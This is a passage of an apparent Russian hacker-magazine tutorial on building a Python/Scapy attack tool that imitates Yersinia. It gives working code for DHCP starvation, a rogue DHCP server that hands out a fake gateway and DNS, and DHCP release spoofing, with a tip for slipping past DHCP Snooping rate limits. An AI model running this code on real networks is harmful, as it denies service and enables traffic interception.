В этой статье я поз­наком­лю тебя с ата­ками EIGRP Abusing K-values, DTP Spoofing, DHCP Starvation, CAM Table Overflow и еще нес­коль­кими. Что­бы про­иллюс­три­ровать их, я при­веду код на Python, который исполь­зовал для соз­дания сво­его, более мощ­ного ана­лога ути­литы Yersinia.

Задумка

Как‑то раз, ког­да я был сту­ден­том треть­его кур­са, у меня сто­яла задача написать кур­совую работу по тех­никам про­веде­ния атак на DHCP-сер­вер. Взяв эту тему, я начал вни­кать: что это за про­токол, как он работа­ет, какие есть ата­ки и так далее. Ког­да с теорией было покон­чено, дело оста­валось за малым: показать на прак­тике, как я реали­зовал ата­ку на DHCP-сер­вер. С прог­рамми­рова­нием я тог­да был зна­ком мало и уж точ­но не знал о том, как работа­ет манипу­ляция сетевы­ми пакета­ми.

Я начал копать под­ходящие тул­зы. Мое вни­мание прив­лекла Yersinia — ути­лита, в которую вхо­дят инс­тру­мен­ты для про­веде­ния атак на про­токо­лы L2, в том чис­ле и на DHCP. Она показа­лась мне мно­гообе­щающей и отно­ситель­но лег­кой в обра­щении и понима­нии. Я взял­ся за дело с энту­зиаз­мом, но доволь­но ско­ро я уже рас­качивал­ся перед экра­ном, дер­жась руками за голову. Что‑то явно шло не так.

Ни­како­го резуль­тата добить­ся не уда­валось, и спус­тя некото­рое вре­мя я таки выяс­нил, что проб­лема не в недос­татке у меня зна­ний, а в том, что сама тул­за не работа­ет как положе­но. Имен­но тог­да мне приш­ла в голову мысль написать свое, пра­виль­но работа­ющее при­ложе­ние.

Мо­жет быть, ата­ки на DHCP с Yersinia при некото­рых усло­виях про­вер­нуть и мож­но, но ата­ки на дру­гие про­токо­лы каналь­ного уров­ня не работа­ли вов­се! К тому же по час­ти юза­били­ти Yersinia хро­мала на обе ноги.

При­веду при­мер проб­лемы: если выб­рать ата­ку на совер­шенно любой про­токол, то в ответ поль­зователь не получа­ет прак­тичес­ки никакой информа­ции о ста­тусе ата­ки — запуще­на она или не запуще­на, перех­вачены какие‑либо пакеты или не перех­вачены, воз­никла ошиб­ка или нет и так далее.

По­мучив­шись с этим, я пре­исполнил­ся решимос­ти писать адек­ватную замену. К тому же была мысль реали­зовать под­дер­жку боль­шего чис­ла про­токо­лов. Нап­ример, Yersinia не работа­ет с про­токо­лами динами­чес­кой мар­шру­тиза­ции.

Концепция

Для раз­работ­ки я взял Python и биб­лиоте­ку Scapy, пред­назна­чен­ную для краф­тинга сетевых пакетов. В сум­ме это два мощ­ней­ших и отно­ситель­но прос­тых в исполь­зовании инс­тру­мен­та.

Вдо­бавок к это­му я решил соз­дать собс­твен­ное гра­фичес­кое при­ложе­ние, ана­логич­ное Yersinia, но с кор­рек­тно работа­ющи­ми ата­ками на сетевые про­токо­лы.

В качес­тве UI-биб­лиоте­ки я решил для начала взять что‑нибудь прос­тое и выб­рал CustomTkinter.

Свое детище я наз­вал Salmonella — тоже семей­ство энте­робак­терий по ана­логии с Yersinia.

Я вижу вза­имо­дей­ствие с при­ложе­нием так. На глав­ном экра­не я выбираю инте­ресу­ющий меня про­токол.

Да­лее мне пред­лага­ется выб­рать тех­нику ата­ки на этот про­токол.

Пос­ле выбора ата­ки откры­вает­ся отдель­ное окно, в котором мож­но вво­дить парамет­ры ата­ки, прос­лушивать сеть и так далее.

Прис­тупа­ем к кодиро­ванию!

DHCP

Моя пер­вая статья в «Хакере» как раз была пос­вящена теме атак на DHCP. В ней я под­робно писал, в час­тнос­ти, о том, что это за про­токол и какими сооб­щени­ями он опе­риру­ет. Здесь я пов­торю лишь основные тезисы.

Со­обще­ния DHCP. Для нор­маль­ной работы DHCP тре­бует­ся все­го четыре сооб­щения: DISCOVER, OFFER, REQUEST, ACK, запом­нить которые очень лег­ко по пер­вым бук­вам — DORA.

Кли­ент исполь­зует сооб­щение DISCOVER, что­бы най­ти DHCP-сер­веры. Если сер­вер получа­ет такое сооб­щение, он отправ­ляет кли­енту сооб­щение OFFER, где ука­зыва­ет сетевые парамет­ры, пред­лага­емые кли­енту. Если сер­веров нес­коль­ко, то каж­дый из них отве­тит.

Как пра­вило, кли­ент отве­чает тому сер­веру, сооб­щение которо­го приш­ло пер­вым. В ответ кли­ент шлет сооб­щение REQUEST. Сер­вер, уви­дев, что кли­ент при­нял его пред­ложение, резер­виру­ет пред­ложен­ный кли­енту IP-адрес у себя в памяти и отправ­ляет пос­леднее сооб­щение ACK, которое под­твержда­ет, что теперь кли­ент может исполь­зовать выдан­ные ему сетевые парамет­ры.

DHCP Starvation

Мы зна­ем, что DHCP-сер­вер ведет таб­лицу соот­ветс­твий выдан­ных кли­ентам IP-адре­сов и их MAC-адре­сов и что уже выдан­ный IP-адрес нель­зя пред­лагать дру­гому кли­енту. Суть ата­ки DHCP Starvation в том, что­бы «исто­щить» сер­вер DHCP, отправ­ляя лож­ные пакеты типа DHCPDISCOVER с ран­домны­ми MAC-адре­сами источни­ка. Сер­вер будет реаги­ровать на эти пакеты и резер­вировать сво­бод­ные IP-адре­са из пула, в резуль­тате чего некото­рое вре­мя (пока ата­ка в активной фазе) не смо­жет выдавать IP-адре­са обыч­ным поль­зовате­лям.

У Yersinia есть ряд проб­лем с ата­ками DHCP Starvation.

Пер­вая и глав­ная проб­лема — отправ­ка лишь сооб­щений DISCOVER. Вспом­ним, что для успешно­го вза­имо­дей­ствия кли­ент и сер­вер дол­жны отпра­вить друг дру­гу по два сооб­щения. Yersinia отправ­ляет толь­ко одно сооб­щение: пос­ле получе­ния OFFER от сер­вера она не шлет свой REQUEST, из‑за чего вза­имо­дей­ствие кли­ента и сер­вера не счи­тает­ся успешно завер­шенным. Имен­но поэто­му DHCP-сер­вер резер­виру­ет IP-адрес лишь через нес­коль­ко минут пос­ле того, как пред­ложил его кли­енту в сооб­щении OFFER.

Вто­рая проб­лема — груп­повые MAC-адре­са. В сооб­щени­ях DISCOVER в поле источни­ка Ethernet-кад­ра иног­да ука­зыва­ются груп­повые MAC-адре­са. DHCP-сер­вер не вос­при­нима­ет такие сооб­щения и прос­то игно­риру­ет их. А таким может быть каж­дое вто­рое сооб­щение.

Третья проб­лема: цель Yersinia — не исто­щить DHCP-сер­вер, а задушить отправ­кой огромно­го количес­тва DISCOVER-пакетов, что, по сути, явля­ется DoS.

Все эти проб­лемы я решил. Пос­мотрим на интерфейс ата­ки DHCP Starvation в моей ути­лите.

Тут мож­но ука­зать количес­тво отправ­ляемых пакетов, задать интервал для отправ­ки сооб­щений DISCOVER, выб­рать интерфейс и IP-адрес DHCP-сер­вера (если их нес­коль­ко и нужен кон­крет­ный). Воз­можность задать интервал отправ­ки для пакетов DISCOVER я добавил для обхо­да rate-limit у DHCP Snooping.

Те­перь давай пос­мотрим на код. Для начала я опре­деляю, какие выб­раны парамет­ры, и сох­раняю поль­зователь­ский ввод в перемен­ных:

# Если количество пакетов определяется вводом с клавиатуры
if radiobutton_number_of_packages_var.get() == 1:
number_of_packages = int(entry_number_of_packages.get()) + 1
# Если количество пакетов определяется выбором из комбобокса
if radiobutton_number_of_packages_var.get() == 2:
if combobox_number_of_packages.get() == "/20 (4096 addresses)":
number_of_packages = 4097
if combobox_number_of_packages.get() == "/21 (2048 addresses)":
number_of_packages = 2049
if combobox_number_of_packages.get() == "/22 (1024 addresses)":
number_of_packages = 1025
if combobox_number_of_packages.get() == "/23 (512 addresses)":
number_of_packages = 513
if combobox_number_of_packages.get() == "/24 (256 addresses)":
number_of_packages = 257
if combobox_number_of_packages.get() == "/25 (128 addresses)":
number_of_packages = 129
if combobox_number_of_packages.get() == "/26 (64 addresses)":
number_of_packages = 65
if combobox_number_of_packages.get() == "/27 (32 addresses)":
number_of_packages = 33
if combobox_number_of_packages.get() == "/28 (16 addresses)":
number_of_packages = 17
if combobox_number_of_packages.get() == "/29 (8 addresses)":
number_of_packages = 9
if combobox_number_of_packages.get() == "/30 (4 addresses)":
number_of_packages = 5
# Если выбран определенный DHCP-сервер
if radiobutton_dhcp_server_var.get() == 2:
dhcp_server = entry_dhcp_server.get()
# Если чекбокс не активен, то по умолчанию интервал равен нулю
if checkbox_interval_var.get() == "off":
interval = 0
if checkbox_interval_var.get() == "on":
interval = int(combobox_interval.get())

Итак, если не выб­ран опре­делен­ный IP-адрес DHCP-сер­вера:

# Если в качестве IP-адреса DHCP-сервера выбран любой IP-адрес
if radiobutton_dhcp_server_var.get() == 1:
# Устанавливаем счетчик отправленных пакетов для уведомлений и диагностики
packages_sent = 0
# Устанавливаем цикл, по количеству итераций равный количеству отправляемых пакетов
for i in range(1, number_of_packages):
# Функция для представления MAC-адреса в виде байтов
def mac_to_bytes(mac_addr: str) -> bytes:
return int(mac_addr.replace(":", ""), 16).to_bytes(6, "big")
# Формируем OUI
mac_list = ["04:b0:e7:", "18:1e:b0:", # HUAWEI/Samsung
"b8:ca:3a:", "fc:08:4a:", # Dell/Fujitsu
"00:25:2e:", "2c:c2:53:", # Cisco/Apple
"c4:65:16:", "38:d5:47:", # HP/ASUS
"e4:1f:13:", "9c:32:ce:", # IBM/Canon
"d0:28:ba:", "6c:24:83:", # Realme/Microsoft
"44:90:46:", "74:d4:35:", # HONOR/GIGABYTE
"88:70:8c:", "90:e8:68:", # Lenovo/AzureWave
"a4:1a:6e:", "d0:c7:c0:", # ZTE/TPlink
"c8:13:37:", "00:05:c9:", # Juniper/LG
"24:21:ab:", "fc:75:16:", # Sony/D-Link
"60:9c:9f:", "00:00:aa:"] # Brocade/Xerox
# Генерируем оставшиеся три байта
mac = [random.randint(0x00, 0x7f), random.randint(0x00, 0x7f), random.randint(0x00, 0x7f)]
# Приводим их в вид MAC-адреса
client_mac = ':'.join(map(lambda x: '%02x' % x, mac))
# Генерируем уникальный идентификатор транзакции для четырех сообщений DORA
xid = random.randint(0x00000000, 0xffffffff)
# Объединяем OUI и вторые три байта
client_mac = random.choice(mac_list) + client_mac

Уже пред­вку­шаю воп­росы про спи­сок mac_list! Сей­час пояс­ню.

Как я уже говорил, DHCP-сер­вер не реаги­рует на сооб­щения DHCP, в которых в качес­тве MAC-адре­са источни­ка ука­зан груп­повой MAC. Я начал исполь­зовать гло­баль­ные уни­каль­ные MAC-адре­са (с помощью RandMAC()), но резуль­тат ока­зал­ся таким же: мой DHCP-сер­вер на роуте­ре Cisco игно­риро­вал сооб­щение DISCOVER, а в Wireshark оно выг­лядело так, как буд­то я исполь­зовал груп­повые MAC-адре­са:

Source MAC must not be a group address

Тог­да я нашел инте­рес­ную информа­цию по это­му воп­росу:

MAC-адрес, ука­зан­ный/записан­ный Wireshark, не явля­ется извес­тным MAC-адре­сом, а пред­став­ляет собой слу­чай­ный MAC-адрес

То есть MAC-адрес дол­жен узна­вать­ся по пер­вым трем бай­там. Таким обра­зом, я погуг­лил и соб­рал пер­вые три бай­та (OUI) для обо­рудо­вания наибо­лее извес­тных вен­доров и сос­тавил спи­сок mac_list. При каж­дой генера­ции MAC-адре­са про­исхо­дит выбор слу­чай­ного OUI из это­го спис­ка.

Да­лее генери­рует­ся вто­рая (слу­чай­ная) часть MAC-адре­са и объ­еди­няет­ся с OUI слу­чай­но выб­ранно­го вен­дора. Уни­каль­ный гло­баль­ный MAC готов! Мой роутер Cisco стал реаги­ровать на каж­дый MAC-адрес, сге­нери­рован­ный таким обра­зом.

В сле­дующем бло­ке кода непос­редс­твен­но генери­руют­ся сооб­щения DHCP DISCOVER:

discover_packet = Ether(src=client_mac, dst="ff:ff:ff:ff:ff:ff") / \
IP(src="0.0.0.0", dst="255.255.255.255") / \
UDP(sport=68, dport=67) / \
BOOTP(op=1, chaddr=mac_to_bytes(client_mac), xid=xid) / \
DHCP(options=[("message-type", "discover"), "end"])
response_for_discover = srp1(discover_packet, timeout=2, verbose=0, iface=combobox_interface.get())

От­прав­ляем сооб­щение discover_packet методом srp1 и ждем один ответ.

Даль­ше ана­лизи­руем получен­ный ответ. Запишем его в перемен­ную response_for_discover:

# Если ответ был получен и это DHCP OFFER
if response_for_discover and response_for_discover[DHCP].options[0][1] == 2:
options = response_for_discover[DHCP].options
for i, item in enumerate(options):
if item[0] == 'server_id':
server_id = i
if item[0] == 'router':
router = i
if item[0] == 'lease_time':
lease_time = i
if item[0] == 'subnet_mask':
subnet_mask = i
if item[0] == 'name_server':
name_server = i
request_packet = Ether(src=client_mac, dst="ff:ff:ff:ff:ff:ff") / \
IP(src="0.0.0.0", dst="255.255.255.255") / \
UDP(sport=68, dport=67) / \
BOOTP(op=1, chaddr=mac_to_bytes(client_mac), xid=xid) / \
DHCP(options=[("message-type", "request"), ("requested_addr", response_for_discover[BOOTP].yiaddr),
("server_id", response_for_discover[DHCP].options[server_id][1]),
("router", response_for_discover[DHCP].options[router][1]),
("name_server", response_for_discover[DHCP].options[name_server][1]),
("subnet_mask", response_for_discover[DHCP].options[subnet_mask][1]),
("lease_time", int(response_for_discover[DHCP].options[lease_time][1])), "end"])
response_for_request = srp1(request_packet, timeout=5, verbose=0, iface=combobox_interface.get())

Из сооб­щения OFFER, в котором DHCP-сер­вер пред­лага­ет нам свои сетевые парамет­ры (IP-адрес, мас­ка сети, IP-адрес DHCP-сер­вера, IP-адрес шлю­за по умол­чанию, DNS-сер­вер и вре­мя арен­ды), мы записы­ваем их в соот­ветс­тву­ющие перемен­ные. Часть этих парамет­ров пред­став­лена в виде опций. Это далеко не все парамет­ры, которые сер­вер пред­лага­ет кли­енту, но их дос­таточ­но, что­бы кли­ент мог нор­маль­но работать в сети.

И еще пару слов об опци­ях DHCP. В Scapy они пред­став­лены в виде спис­ка пар ключ — зна­чение, где ключ — это наз­вание опции, а зна­чение — ее содер­жимое. Как я понял, нет какой‑то стро­гой оче­ред­ности, в которой опции будут рас­полагать­ся в спис­ке options. То есть у каж­дого устрой­ства может быть своя индекса­ция опций в спис­ке. Нап­ример, у роуте­ра Cisco опция lease_time может иметь индекс 8, а у роуте­ра Huawei индекс lease_time равен 7. Поэто­му в цик­ле for я исполь­зую встро­енную фун­кцию enumerate(options), что­бы опре­делить позицию той или иной опции в спис­ке options.

От­прав­ляем сооб­щение REQUEST и ждем отве­та:

response_for_request = srp1(request_packet, timeout=2, verbose=0, iface=combobox_interface.get())
# 5 это ACK
if response_for_request and response_for_request[DHCP].options[0][1] == 5:
# Счетчик отправленных пакетов
packages_sent += 1
time.sleep(interval)

Ес­ли получен ответ через сооб­щение DHCP ACK, то счет­чик отправ­ленных пакетов уве­личи­вает­ся, выдер­жива­ется задан­ный интервал (если он ука­зан) и цикл начина­ется заново.

Мо­жешь срав­нить, как выг­лядит дамп тра­фика в Yersinia и нашей Salmonella.

Дамп трафика в Yersinia
Дамп тра­фика в Yersinia
Дамп трафика в Salmonella
Дамп тра­фика в Salmonella

На­жати­ем на кноп­ку Start запус­кает­ся ата­ка DHCP Starvation, а progressbar информи­рует тебя о ее работе.

Ког­да ата­ка завер­шает­ся, всплы­вает окно, где говорит­ся, сколь­ко сво­бод­ных IP-адре­сов мы укра­ли из пула DHCP (имен­но для это­го я исполь­зовал счет­чик отправ­ленных пакетов).

Ну и напос­ледок взгля­нем на таб­лицу соот­ветс­твий DHCP.

Все работа­ет, и эта таб­лица не обну­лит­ся спус­тя пару минут, как в Yersinia.

Rogue DHCP

Rogue DHCP тре­бует раз­вернуть мошен­ничес­кий DHCP-сер­вер. Нуж­но это, что­бы выдавать кли­ентам под­дель­ные сетевые парамет­ры (в час­тнос­ти — адрес шлю­за по умол­чанию) и перех­ватывать тра­фик. С точ­ки зре­ния ата­кующе­го, для это­го луч­ше все­го пер­вым делом «положить» легитим­ный DHCP-сер­вер, что мы, собс­твен­но, и сде­лали выше.

К той ата­ке Rogue DHCP, которая реали­зова­на в Yersinia, у меня воп­росов нет, она работа­ет как надо. Но информа­ции при этом выводит­ся очень мало. Хотелось бы знать хотя бы о том, сколь­ко лож­ных IP-адре­сов мы дали в арен­ду кли­ентам. Имен­но это я и реали­зовал в Salmonella.

Выбираем Rogue DHCP из списка атак на DHCP
Вы­бира­ем Rogue DHCP из спис­ка атак на DHCP

Приз­наюсь, тут я ничего не менял и сде­лал всё, как у Yersinia. Раз­ве что добавил выбор интерфей­са.

Итак, поль­зователь запол­няет все поля в окне, пос­ле чего выпол­няет­ся сле­дующий код:

pool = []
start_host = int(entry_rogue_dhcp_start_ip.get().split('.')[-1])
end_host = int(entry_rogue_dhcp_end_ip.get().split('.')[-1])
count = (end_host - start_host) + 1
subnet = entry_rogue_dhcp_start_ip.get().split('.')[0:3]
subnet = subnet[0] + "." + subnet[1] + "." + subnet[2] + "."

Здесь мы соз­даем пус­той спи­сок pool, где будем фор­мировать пул IP-адре­сов. По чет­вертым окте­там start_host и end_host опре­деля­ем пер­вый и пос­ледний адре­са пула, а так­же адрес сети subnet — по пер­вым трем окте­там. Вре­мен­но пред­положим, что поль­зователь будет задавать сеть по мас­ке /24.

Сох­раня­ем осталь­ные парамет­ры в перемен­ных:

interface = combobox_rogue_dhcp_interface.get()
ip_dhcp_server = entry_rogue_dhcp_ip_address.get()
gateway = entry_rogue_dhcp_gateway.get()
dns = entry_rogue_dhcp_dns.get()
lease_time = entry_rogue_dhcp_lease_time.get()
domain_name = entry_rogue_dhcp_domain_name.get()
subnet_mask = entry_rogue_dhcp_subnet_mask.get()

Спи­сок pool запол­няем IP-адре­сами, которые будем выдавать кли­ентам, перемен­ную position, которая будет опре­делять IP-адрес в спис­ке, выс­тавля­ем в 0 (в начало спис­ка pool) и соз­даем базу дан­ных на минимал­ках: у нас за нее будет сло­варь database, где мы будем записы­вать, какому MAC-адре­су кли­ента какой выдан­ный IP соот­ветс­тву­ет:

for i in range(count):
pool.append(subnet + str(start_host))
start_host += 1
position = 0
database = {}

За­пус­каем цикл while, который будет зах­ватывать пакеты DHCP по филь­тру filter="udp and (port 67 or port 68) и переда­вать в фун­кцию packet_handler, пока не будет выдано такое количес­тво IP-адре­сов (count = (end_host - start_host) + 1), которое ука­зал поль­зователь:

while count > 0:
sniff(iface=interface, prn=packet_handler, filter="udp and (port 67 or port 68)", store=0, count=1)

Вот что про­исхо­дит в фун­кции packet_handler:

if packet.haslayer(DHCP) and packet[DHCP].options[0][1] == 1: # Опция 1 DHCP Discover
def mac_to_bytes(mac_addr: str) -> bytes:
return int(mac_addr.replace(":", ""), 16).to_bytes(6, "big")
mac_address = packet[Ether].src
xid = packet[BOOTP].xid
# Если MAC-адрес уже есть в базе (отправлял DHCP Discover)
if mac_address in database:
offer = (Ether(dst="ff:ff:ff:ff:ff:ff") /
IP(src=ip_dhcp_server, dst="255.255.255.255") /
UDP(sport=67, dport=68) /
BOOTP(op=2, chaddr=mac_to_bytes(mac_address), xid=xid, yiaddr=database[mac_address], siaddr=ip_dhcp_server) /
DHCP(options=[("message-type", "offer"), ("server_id", ip_dhcp_server), ("router", gateway),
("name_server", dns), ("subnet_mask", subnet_mask), ("lease_time", int(lease_time)),
("domain", domain_name), "end"]))
sendp(offer, iface=interface)
# Если MAC-адреса нет в базе (не отправлял DHCP Discover)
if mac_address not in database:
database[mac_address] = pool[position]
offer = (Ether(dst="ff:ff:ff:ff:ff:ff") /
IP(src=ip_dhcp_server, dst="255.255.255.255") /
UDP(sport=67, dport=68) /
BOOTP(op=2, chaddr=mac_to_bytes(mac_address), xid=xid, yiaddr=database[mac_address], siaddr=ip_dhcp_server) /
DHCP(options=[("message-type", "offer"), ("server_id", ip_dhcp_server), ("router", gateway),
("name_server", dns), ("subnet_mask", subnet_mask), ("lease_time", int(lease_time)),
("domain", domain_name), "end"]))
sendp(offer, iface=interface)
position += 1

Сей­час будет длин­ное, но важ­ное объ­ясне­ние. Этот блок кода ана­лизи­рует толь­ко сооб­щения DHCP DISCOVER (if packet.haslayer(DHCP) and packet[DHCP].options[0][1] == 1: # Опция 1 DHCP Discover). MAC-адрес кли­ента mac_address и иден­тифика­тор тран­закции xid запоми­наем для даль­нейшей отправ­ки отве­тов (OFFER и ACK) кли­енту.

Даль­ше идут два усло­вия if, которые опре­деля­ют, есть ли MAC-адрес кли­ента в сло­варе database. Если MAC-адре­са в сло­варе database нет, то все логич­но: добав­ляем его, прис­ваиваем ему оче­ред­ной IP-адрес из пула (database[mac_address] = pool[position]) и отправ­ляем кли­енту сооб­щение DHCP OFFER с IP-адре­сом для устрой­ства (то есть его MAC). Ты можешь спро­сить, для чего вто­рое усло­вие if и код, который сра­баты­вает, если MAC-адрес уже есть в сло­варе database?

Ес­ли сооб­щение DHCP DISCOVER от кли­ента — это началь­ный этап вза­имо­дей­ствия с сер­вером, то как MAC-адрес кли­ента мог ока­зать­ся в сло­варе database? Объ­ясне­ние прос­тое: если устрой­ство кли­ента ранее получа­ло IP-адрес от дру­гого DHCP-сер­вера, то при сле­дующей ини­циали­зации DHCP (нап­ример, при вклю­чении устрой­ства) оно попыта­ется зап­росить уже арен­дован­ный у преж­него сер­вера IP-адрес, преж­де чем при­нять новое пред­ложение.

Выг­лядит это сле­дующим обра­зом:

  1. Кли­ент отправ­ляет сооб­щение DHCP DISCOVER с зап­рашива­емым ранее IP-адре­сом.
  2. Но­вый DHCP-сер­вер шлет ему DHCP OFFER с пред­ложен­ным (отличным от зап­рашива­емо­го) IP-адре­сом.
  3. Кли­ент игно­риру­ет пред­ложение нового сер­вера, и пун­кты 1–2 пов­торя­ются.
  4. Не нашед­ший преж­него DHCP-сер­вера кли­ент при­нима­ет пред­ложение от нового сер­вера.

Вот поэто­му я сде­лал про­вер­ку на наличие MAC-адре­са кли­ента в сло­варе database: что­бы одно­му и тому же кли­енту не выдавать нес­коль­ко раз­ных IP-адре­сов. Ведь без такой про­вер­ки на каж­дое сооб­щение DISCOVER одно­го кли­ента будет выделять­ся по одно­му IP-адре­су из пула pool.

Итак, мы с тобой рас­смот­рели блок кода, который обра­баты­вает сооб­щения DISCOVER, а теперь пос­мотрим на обра­бот­чик сооб­щений REQUEST:

# Опция 3 DHCP Request
if packet.haslayer(DHCP) and packet[DHCP].options[0][1] == 3:
def mac_to_bytes(mac_addr: str) -> bytes:
return int(mac_addr.replace(":", ""), 16).to_bytes(6, "big")
for option in packet[DHCP].options:
if option[0] == 'server_id':
# Сохраняем IP-адрес DHCP-сервера, которому был отправлен пакет DHCP Request
server_id = option[1]
if server_id == ip_dhcp_server:
for option in packet[DHCP].options:
if option[0] == 'requested_addr':
# Сохраняем запрашиваемый IP-адрес
requested_address = option[1]
mac_address = packet[Ether].src
xid = packet[BOOTP].xid
ack_packet = Ether(dst="ff:ff:ff:ff:ff:ff") / \
IP(src=ip_dhcp_server, dst="255.255.255.255") / \
UDP(sport=67, dport=68) / \
BOOTP(op=2, chaddr=mac_to_bytes(mac_address), xid=xid, yiaddr=requested_address, siaddr=ip_dhcp_server) / \
DHCP(options=[("message-type", "ack"), ("server_id", ip_dhcp_server), ("router", gateway),
("name_server", dns), ("subnet_mask", subnet_mask), ("lease_time", int(lease_time)),
("domain", domain_name), "end"])
sendp(ack_packet, iface=interface, count=1)
# Минус один свободный IP-адрес из пула
count -= 1

Здесь мы про­веря­ем, что сооб­щение REQUEST было отправ­лено имен­но нам, а не дру­гому DHCP-сер­веру (if server_id == ip_dhcp_server:), сох­раня­ем зап­рашива­емый IP-адрес и отправ­ляем кли­енту пос­леднее сооб­щение ACK.

Интерфейс Rogue DHCP после того, как пользователь нажал кнопку Start
Ин­терфейс Rogue DHCP пос­ле того, как поль­зователь нажал кноп­ку Start

Здесь ука­зыва­ется номер позиции (сколь­ко IP-адре­сов было выдано кли­ентам), MAC-адрес кли­ента и прис­воен­ный ему IP-адрес из нашего пула. Таб­лица, естес­твен­но, запол­няет­ся в реаль­ном вре­мени.

Сетевые настройки клиента, который получил их от нашего Rogue-сервера
Се­тевые нас­трой­ки кли­ента, который получил их от нашего Rogue-сер­вера

DHCP Release Spoofing

Приш­ло вре­мя погово­рить про еще одну не­доата­ку — DHCP Release Spoofing. Все говорят о DHCP Starvation и Rogue DHCP, что эти две ата­ки вза­имос­вязаны, что спер­ва дол­жна про­водить­ся ата­ка DHCP Starvation, а пос­ле — Rogue DHCP. Но ник­то не упо­мина­ет немало­важ­ную ата­ку DHCP Release Spoofing.

Что такое DHCP Release Spoofing? Это спу­финг пакета­ми DHCP Release. А что такое пакет DHCP Release? Это сооб­щение, посыла­емое от кли­ента к сер­веру DHCP, которое сооб­щает сер­веру, что кли­ент боль­ше не хочет исполь­зовать выдан­ный ему IP-адрес (и дру­гие сетевые парамет­ры) и хочет от него отка­зать­ся. Тог­да DHCP-сер­вер уда­ляет этот IP-адрес из сво­ей таб­лицы DHCP (воз­вра­щает его в пул сво­бод­ных адре­сов) и в даль­нейшем может пред­ложить его дру­гим кли­ентам. Это про­исхо­дит, ког­да ты, нап­ример, ука­зыва­ешь в нас­трой­ках ста­тичес­кий IP-адрес или вво­дишь в коман­дной стро­ке такую коман­ду (вари­ант для Windows):

ipconfig /release

Ва­риант для Linux:

sudo dhclient -r <сетевой интерфейс>

Ата­кующий может исполь­зовать DHCP Release Spoofing для отправ­ки сооб­щений DHCP RELEASE от име­ни легитим­ных кли­ентов сер­веру, что­бы он осво­бодил исполь­зуемые кли­ента­ми IP-адре­са и вер­нул их в пул незаня­тых адре­сов.

Но в чем смысл этой ата­ки? Ведь ее и ата­кой‑то слож­но наз­вать: сооб­щения сер­вер получит и адре­са вер­нет в пул, но для кли­ентов ничего не изме­нит­ся. Они как исполь­зовали эти адре­са, так и будут исполь­зовать до исте­чения вре­мени их арен­ды, а потом заново получат от DHCP-сер­вера их или какие‑то дру­гие адре­са. Ведь сами кли­енты ни от каких IP-адре­сов не отка­зыва­лись.

Де­ло в том, что ата­ка DHCP Release дол­жна про­водить­ся в связ­ке с пре­дыду­щими дву­мя. Пред­ставь ситу­ацию: есть кор­поратив­ная сеть, где работа­ет сот­ня устрой­ств, они получа­ют IP-адре­са от легитим­ного DHCP-сер­вера. Допус­тим, пул DHCP-сер­вера рас­счи­тан на 254 адре­са (24-я мас­ка). Соот­ветс­твен­но, оставши­еся при­мер­но 150 адре­сов мы забира­ем из пула сво­бод­ных при помощи DHCP Starvation. Всё! Легитим­ный сер­вер мы положи­ли, раз­ворачи­ваем под­дель­ный сер­вер Rogue DHCP. Толь­ко вот мы не получим от кли­ентов зап­росы на арен­ду, потому что они про­дол­жают исполь­зовать IP-адре­са легитим­ного DHCP-сер­вера, у которо­го эти IP-адре­са занесе­ны в таб­лицу занятых, и по исте­чении арен­ды кли­енты сно­ва могут их прод­лить у преж­него DHCP-сер­вера.

Вот мы и подоб­рались к сути ата­ки DHCP Release Spoofing. Ата­кующий дол­жен про­водить ее самой пер­вой из трех, что­бы заранее осво­бодить все занятые IP-адре­са. Ведь пос­ле это­го таб­лица соот­ветс­твий будет пус­той и все даже занятые в нас­тоящий момент кли­ента­ми IP-адре­са ста­нут сво­бод­ными для легитим­ного DHCP-сер­вера. И толь­ко ког­да у DHCP-сер­вера все адре­са из пула будут сво­бод­ными, появит­ся смысл про­водить ата­ку DHCP Starvation, а пос­ле — Rogue DHCP.

Вста­ет воп­рос: что нуж­но, что­бы реали­зовать спу­финг пакета­ми RELEASE? Ответ: нуж­но знать MAC-адрес кли­ента, его IP-адрес (если известен MAC, то, соот­ветс­твен­но, известен и IP), а так­же MAC- и IP-адрес DHCP-сер­вера. Ничего слож­ного. IP-адрес DHCP-сер­вера обыч­но такой же, как у шлю­за по умол­чанию. А для получе­ния MAC-адре­сов есть ста­рень­кий и извес­тный про­токол, чья работа и зак­люча­ется в резол­ве IP- и MAC-адре­сов, — ARP. Нач­нем.

Окно для атаки
Ок­но для ата­ки

Об­рабаты­ваем ввод поль­зовате­ля:

start_host = entry_dhcp_release_start_ip.get().split(".")[-1]
end_host = entry_dhcp_release_end_ip.get().split(".")[-1]
subnet = entry_dhcp_release_start_ip.get().split(".")[0:3]
subnet = subnet[0] + "." + subnet[1] + "." + subnet[2] + "."
sum = (int(end_host) - int(start_host)) + 1
start_host = int(start_host)
dhcp_server_ip = entry_dhcp_release_dhcp_server_ip.get()

Здесь мы опре­деля­ем адрес сети, пер­вый и пос­ледний адре­са, а так­же количес­тво IP-адре­сов в ука­зан­ном диапа­зоне.

Да­лее фор­миру­ем ARP-зап­рос, что­бы узнать MAC-адрес DHCP-сер­вера:

# Отправляем ARP-запрос DHCP-серверу, чтобы узнать его MAC-адрес
arp_request = Ether(dst="ff:ff:ff:ff:ff:ff") / ARP(pdst=dhcp_server_ip)
result = srp1(arp_request, timeout=1, verbose=False)
if result:
for received in result:
if received.haslayer(ARP) and received[ARP].op == 2:
dhcp_server_mac = received.hwsrc

Ес­ли DHCP-сер­вер отве­тил, записы­ваем его MAC-адрес в перемен­ную dhcp_server_mac.

Соз­даем пус­той спи­сок dhcp_release_pool, уста­нав­лива­ем позицию в спис­ке (position) на ноль, обну­ляем счет­чик отправ­ленных пакетов и фор­миру­ем спи­сок IP-адре­сов, от име­ни которых будут отправ­лять­ся сооб­щения DHCP RELEASE:

dhcp_release_pool = []
position = 0
sent_packets = 0
for i in range(sum):
dhcp_release_pool.append(subnet + str(start_host)) # Формируем список с IP-адресами
start_host += 1

Ос­талось запус­тить цикл, который будет по оче­реди через ARP узна­вать MAC-адрес кли­ента, а пос­ле от име­ни это­го кли­ента отправ­лять DHCP-сер­веру сооб­щение DHCP RELEASE:

for i in range(sum):
# Узнаем MAC-адрес клиента
arp_request = Ether(dst="ff:ff:ff:ff:ff:ff") / ARP(pdst=dhcp_release_pool[position])
result = srp1(arp_request, timeout=1, verbose=False)
if result:
for received in result:
if received.haslayer(ARP) and received[ARP].op == 2:
# Получаем MAC-адрес клиента
client_mac = received.hwsrc
def mac_to_bytes(mac_addr: str) -> bytes:
return int(mac_addr.replace(":", ""), 16).to_bytes(6, "big")
xid = random.randint(0x00000000, 0xffffffff)
